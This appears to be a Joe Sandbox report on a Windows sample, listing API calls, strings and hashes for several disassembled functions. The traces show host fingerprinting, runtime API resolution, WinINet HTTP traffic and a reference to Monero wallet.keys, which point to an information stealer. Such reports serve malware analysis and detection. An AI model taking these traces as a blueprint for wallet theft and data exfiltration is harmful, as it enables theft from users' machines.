String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 47ff257db9bdd3608e57acf0b1c9f06ae0e2e1cee898a5ed391489e78da35dab
Instruction ID: 918dbef3517ad6b9246b7d869393c18e8d1b293abbb027930944b6306de5673a
Opcode Fuzzy Hash: 47ff257db9bdd3608e57acf0b1c9f06ae0e2e1cee898a5ed391489e78da35dab
Instruction Fuzzy Hash: 6A4106606C66047BE638B7A4A942EFD7B765FCA70CFA17668FA1052680CBB077014D26

Function 00914880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 009147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00914839
Part of subcall function 009147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00914849

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00914915
StrCmpCA.SHLWAPI(?,01050A00), ref: 0091493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00914ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00930DDB,00000000,?,?,00000000,?,",00000000,?,01050A60), ref: 00914DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00914E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00914E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00914E49
InternetCloseHandle.WININET(00000000), ref: 00914EAD
InternetCloseHandle.WININET(00000000), ref: 00914EC5
HttpOpenRequestA.WININET(00000000,010509A0,?,010500C8,00000000,00000000,00400100,00000000), ref: 00914B15

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

InternetCloseHandle.WININET(00000000), ref: 00914ECF

Strings

------, xrefs: 00914B28
------, xrefs: 00914C69
------, xrefs: 009149BD
", xrefs: 00914D33
", xrefs: 00914BF2

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: c27c94acfec7f380b88632f1a7da88f9383c7911dddb147c334e0f1b9896b33a
Instruction ID: dac3edc1f8bcd7e1d41c35c523c3749dda5c2139c6d52137a5d84d4e5e8b164c
Opcode Fuzzy Hash: c27c94acfec7f380b88632f1a7da88f9383c7911dddb147c334e0f1b9896b33a
Instruction Fuzzy Hash: BA12BD729112289BDB15EB90EC92FEEB778BF98300F504199F10662095DF702F89CF66

Function 009278E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00927910
RtlAllocateHeap.NTDLL(00000000), ref: 00927917
GetComputerNameA.KERNEL32(?,00000104), ref: 0092792F

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: c248f2ab3b221e8149ab55937a00a6ccd2e3a50cdbc4cca3ad9193a93d22bf26
Instruction ID: 7d0b16b6c39ab3ad93839439d107b9b07fd5387d70958cedee535278fff96341
Opcode Fuzzy Hash: c248f2ab3b221e8149ab55937a00a6ccd2e3a50cdbc4cca3ad9193a93d22bf26
Instruction Fuzzy Hash: 67016DB1A04308EBC710DF98ED45BABFBB8FB48B21F10425AEA45F3280D77459448BA1

Function 00927850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009111B7), ref: 00927880
RtlAllocateHeap.NTDLL(00000000), ref: 00927887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0092789F

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: abaf5480555a9bf7331650fa9a5bbcd0180de9f2ee12a649683b86a6c5122ec1
Instruction ID: 2b6a8ffbba3985c023b497c69c69c83a45558257055455649e509b16d89d5e7f
Opcode Fuzzy Hash: abaf5480555a9bf7331650fa9a5bbcd0180de9f2ee12a649683b86a6c5122ec1
Instruction Fuzzy Hash: E3F04FB1944208ABC704DF98DD49BAEFBB8FB08712F10065AFA05A3680D77819048BA1

Function 00911160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0091116A
ExitProcess.KERNEL32 ref: 0091117E

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 1667428b634bbc42c0fce042d9e9b701208fa8e89ddf6ad0da53f931e00ee73e
Instruction ID: cfcc766b4acd3cbf5c972b3e2987b6b7a09e52c6fdb29d910c962bd965e9d6bf
Opcode Fuzzy Hash: 1667428b634bbc42c0fce042d9e9b701208fa8e89ddf6ad0da53f931e00ee73e
Instruction Fuzzy Hash: 73D05E7490430CEBCB00DFE0D8496DDBB78FB0C312F000699D90573340EE306881CAA6

Function 00929C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01035730), ref: 00929C2D
GetProcAddress.KERNEL32(74DD0000,01035910), ref: 00929C45
GetProcAddress.KERNEL32(74DD0000,0104A858), ref: 00929C5E
GetProcAddress.KERNEL32(74DD0000,0104A7F8), ref: 00929C76
GetProcAddress.KERNEL32(74DD0000,0104A828), ref: 00929C8E
GetProcAddress.KERNEL32(74DD0000,0104A840), ref: 00929CA7
GetProcAddress.KERNEL32(74DD0000,0103CD10), ref: 00929CBF
GetProcAddress.KERNEL32(74DD0000,0104EE78), ref: 00929CD7
GetProcAddress.KERNEL32(74DD0000,0104F070), ref: 00929CF0
GetProcAddress.KERNEL32(74DD0000,0104EDD0), ref: 00929D08
GetProcAddress.KERNEL32(74DD0000,0104EFF8), ref: 00929D20
GetProcAddress.KERNEL32(74DD0000,010357D0), ref: 00929D39
GetProcAddress.KERNEL32(74DD0000,01035750), ref: 00929D51
GetProcAddress.KERNEL32(74DD0000,01035930), ref: 00929D69
GetProcAddress.KERNEL32(74DD0000,010356F0), ref: 00929D82
GetProcAddress.KERNEL32(74DD0000,0104F088), ref: 00929D9A
GetProcAddress.KERNEL32(74DD0000,0104EE00), ref: 00929DB2
GetProcAddress.KERNEL32(74DD0000,0103CD88), ref: 00929DCB
GetProcAddress.KERNEL32(74DD0000,01035950), ref: 00929DE3
GetProcAddress.KERNEL32(74DD0000,0104F010), ref: 00929DFB
GetProcAddress.KERNEL32(74DD0000,0104EE90), ref: 00929E14
GetProcAddress.KERNEL32(74DD0000,0104F0A0), ref: 00929E2C
GetProcAddress.KERNEL32(74DD0000,0104EFB0), ref: 00929E44
GetProcAddress.KERNEL32(74DD0000,010359B0), ref: 00929E5D
GetProcAddress.KERNEL32(74DD0000,0104F028), ref: 00929E75
GetProcAddress.KERNEL32(74DD0000,0104EF80), ref: 00929E8D
GetProcAddress.KERNEL32(74DD0000,0104F058), ref: 00929EA6
GetProcAddress.KERNEL32(74DD0000,0104EEA8), ref: 00929EBE
GetProcAddress.KERNEL32(74DD0000,0104EED8), ref: 00929ED6
GetProcAddress.KERNEL32(74DD0000,0104EDB8), ref: 00929EEF
GetProcAddress.KERNEL32(74DD0000,0104EEF0), ref: 00929F07
GetProcAddress.KERNEL32(74DD0000,0104EFC8), ref: 00929F1F
GetProcAddress.KERNEL32(74DD0000,0104EFE0), ref: 00929F38
GetProcAddress.KERNEL32(74DD0000,0104B340), ref: 00929F50
GetProcAddress.KERNEL32(74DD0000,0104F040), ref: 00929F68
GetProcAddress.KERNEL32(74DD0000,0104EDE8), ref: 00929F81
GetProcAddress.KERNEL32(74DD0000,010359D0), ref: 00929F99
GetProcAddress.KERNEL32(74DD0000,0104EE18), ref: 00929FB1
GetProcAddress.KERNEL32(74DD0000,01035690), ref: 00929FCA
GetProcAddress.KERNEL32(74DD0000,0104EE30), ref: 00929FE2
GetProcAddress.KERNEL32(74DD0000,0104EE60), ref: 00929FFA
GetProcAddress.KERNEL32(74DD0000,010356B0), ref: 0092A013
GetProcAddress.KERNEL32(74DD0000,01035B50), ref: 0092A02B
LoadLibraryA.KERNEL32(0104EE48,?,00925CA3,00930AEB,?,?,?,?,?,?,?,?,?,?,00930AEA,00930AE3), ref: 0092A03D
LoadLibraryA.KERNEL32(0104EF20,?,00925CA3,00930AEB,?,?,?,?,?,?,?,?,?,?,00930AEA,00930AE3), ref: 0092A04E
LoadLibraryA.KERNEL32(0104EEC0,?,00925CA3,00930AEB,?,?,?,?,?,?,?,?,?,?,00930AEA,00930AE3), ref: 0092A060
LoadLibraryA.KERNEL32(0104EF08,?,00925CA3,00930AEB,?,?,?,?,?,?,?,?,?,?,00930AEA,00930AE3), ref: 0092A072
LoadLibraryA.KERNEL32(0104EF38,?,00925CA3,00930AEB,?,?,?,?,?,?,?,?,?,?,00930AEA,00930AE3), ref: 0092A083
LoadLibraryA.KERNEL32(0104EF50,?,00925CA3,00930AEB,?,?,?,?,?,?,?,?,?,?,00930AEA,00930AE3), ref: 0092A095
LoadLibraryA.KERNEL32(0104EF68,?,00925CA3,00930AEB,?,?,?,?,?,?,?,?,?,?,00930AEA,00930AE3), ref: 0092A0A7
LoadLibraryA.KERNEL32(0104EF98,?,00925CA3,00930AEB,?,?,?,?,?,?,?,?,?,?,00930AEA,00930AE3), ref: 0092A0B8
GetProcAddress.KERNEL32(75290000,01035D30), ref: 0092A0DA
GetProcAddress.KERNEL32(75290000,0104F118), ref: 0092A0F2
GetProcAddress.KERNEL32(75290000,01049F58), ref: 0092A10A
GetProcAddress.KERNEL32(75290000,0104F358), ref: 0092A123
GetProcAddress.KERNEL32(75290000,01035C30), ref: 0092A13B
GetProcAddress.KERNEL32(734C0000,0103C900), ref: 0092A160
GetProcAddress.KERNEL32(734C0000,01035D50), ref: 0092A179
GetProcAddress.KERNEL32(734C0000,0103C608), ref: 0092A191
GetProcAddress.KERNEL32(734C0000,0104F250), ref: 0092A1A9
GetProcAddress.KERNEL32(734C0000,0104F1C0), ref: 0092A1C2
GetProcAddress.KERNEL32(734C0000,01035C10), ref: 0092A1DA
GetProcAddress.KERNEL32(734C0000,01035A90), ref: 0092A1F2
GetProcAddress.KERNEL32(734C0000,0104F2E0), ref: 0092A20B
GetProcAddress.KERNEL32(752C0000,01035D70), ref: 0092A22C
GetProcAddress.KERNEL32(752C0000,01035DD0), ref: 0092A244
GetProcAddress.KERNEL32(752C0000,0104F208), ref: 0092A25D
GetProcAddress.KERNEL32(752C0000,0104F280), ref: 0092A275
GetProcAddress.KERNEL32(752C0000,01035AB0), ref: 0092A28D
GetProcAddress.KERNEL32(74EC0000,0103C7E8), ref: 0092A2B3
GetProcAddress.KERNEL32(74EC0000,0103C6A8), ref: 0092A2CB
GetProcAddress.KERNEL32(74EC0000,0104F298), ref: 0092A2E3
GetProcAddress.KERNEL32(74EC0000,01035D90), ref: 0092A2FC
GetProcAddress.KERNEL32(74EC0000,01035C50), ref: 0092A314
GetProcAddress.KERNEL32(74EC0000,0103C950), ref: 0092A32C
GetProcAddress.KERNEL32(75BD0000,0104F340), ref: 0092A352
GetProcAddress.KERNEL32(75BD0000,01035AD0), ref: 0092A36A
GetProcAddress.KERNEL32(75BD0000,01049F68), ref: 0092A382
GetProcAddress.KERNEL32(75BD0000,0104F238), ref: 0092A39B
GetProcAddress.KERNEL32(75BD0000,0104F268), ref: 0092A3B3
GetProcAddress.KERNEL32(75BD0000,01035B70), ref: 0092A3CB
GetProcAddress.KERNEL32(75BD0000,01035BD0), ref: 0092A3E4
GetProcAddress.KERNEL32(75BD0000,0104F310), ref: 0092A3FC
GetProcAddress.KERNEL32(75BD0000,0104F178), ref: 0092A414
GetProcAddress.KERNEL32(75A70000,01035C90), ref: 0092A436
GetProcAddress.KERNEL32(75A70000,0104F100), ref: 0092A44E
GetProcAddress.KERNEL32(75A70000,0104F190), ref: 0092A466
GetProcAddress.KERNEL32(75A70000,0104F148), ref: 0092A47F
GetProcAddress.KERNEL32(75A70000,0104F370), ref: 0092A497
GetProcAddress.KERNEL32(75450000,01035E10), ref: 0092A4B8
GetProcAddress.KERNEL32(75450000,01035CF0), ref: 0092A4D1
GetProcAddress.KERNEL32(75DA0000,01035DB0), ref: 0092A4F2
GetProcAddress.KERNEL32(75DA0000,0104F130), ref: 0092A50A
GetProcAddress.KERNEL32(6F060000,01035DF0), ref: 0092A530
GetProcAddress.KERNEL32(6F060000,01035E30), ref: 0092A548
GetProcAddress.KERNEL32(6F060000,01035AF0), ref: 0092A560
GetProcAddress.KERNEL32(6F060000,0104F2B0), ref: 0092A579
GetProcAddress.KERNEL32(6F060000,01035B90), ref: 0092A591
GetProcAddress.KERNEL32(6F060000,01035C70), ref: 0092A5A9
GetProcAddress.KERNEL32(6F060000,01035CB0), ref: 0092A5C2
GetProcAddress.KERNEL32(6F060000,01035CD0), ref: 0092A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0092A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0092A607
GetProcAddress.KERNEL32(75AF0000,0104F1D8), ref: 0092A629
GetProcAddress.KERNEL32(75AF0000,0104A088), ref: 0092A641
GetProcAddress.KERNEL32(75AF0000,0104F2C8), ref: 0092A659
GetProcAddress.KERNEL32(75AF0000,0104F160), ref: 0092A672
GetProcAddress.KERNEL32(75D90000,01035B10), ref: 0092A693
GetProcAddress.KERNEL32(6CFD0000,0104F220), ref: 0092A6B4
GetProcAddress.KERNEL32(6CFD0000,01035B30), ref: 0092A6CD
GetProcAddress.KERNEL32(6CFD0000,0104F1A8), ref: 0092A6E5
GetProcAddress.KERNEL32(6CFD0000,0104F388), ref: 0092A6FD

Strings

InternetSetOptionA, xrefs: 0092A5E5
HttpQueryInfoA, xrefs: 0092A5FC

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 2046b1f8efdfa64fe08eb910c540718ae06dc2f30a44e56a1bb681f435a33450
Instruction ID: e2b858503f906f26305b8b19afc1d2b9bb76853b5df5ebbe271c0f710587cd77
Opcode Fuzzy Hash: 2046b1f8efdfa64fe08eb910c540718ae06dc2f30a44e56a1bb681f435a33450
Instruction Fuzzy Hash: E16219B5510300AFD344DFA8ED98B663BF9F74C603B14879AA709E3264DE39A841DB13

Function 00916280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 009147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00914839
Part of subcall function 009147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00914849

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

InternetOpenA.WININET(00930DFE,00000001,00000000,00000000,00000000), ref: 009162E1
StrCmpCA.SHLWAPI(?,01050A00), ref: 00916303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00916335
HttpOpenRequestA.WININET(00000000,GET,?,010500C8,00000000,00000000,00400100,00000000), ref: 00916385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009163BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009163D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 009163FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0091646D
InternetCloseHandle.WININET(00000000), ref: 009164EF
InternetCloseHandle.WININET(00000000), ref: 009164F9
InternetCloseHandle.WININET(00000000), ref: 00916503

Strings

ERROR, xrefs: 009164C9
ERROR, xrefs: 00916407
GET, xrefs: 0091637C

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
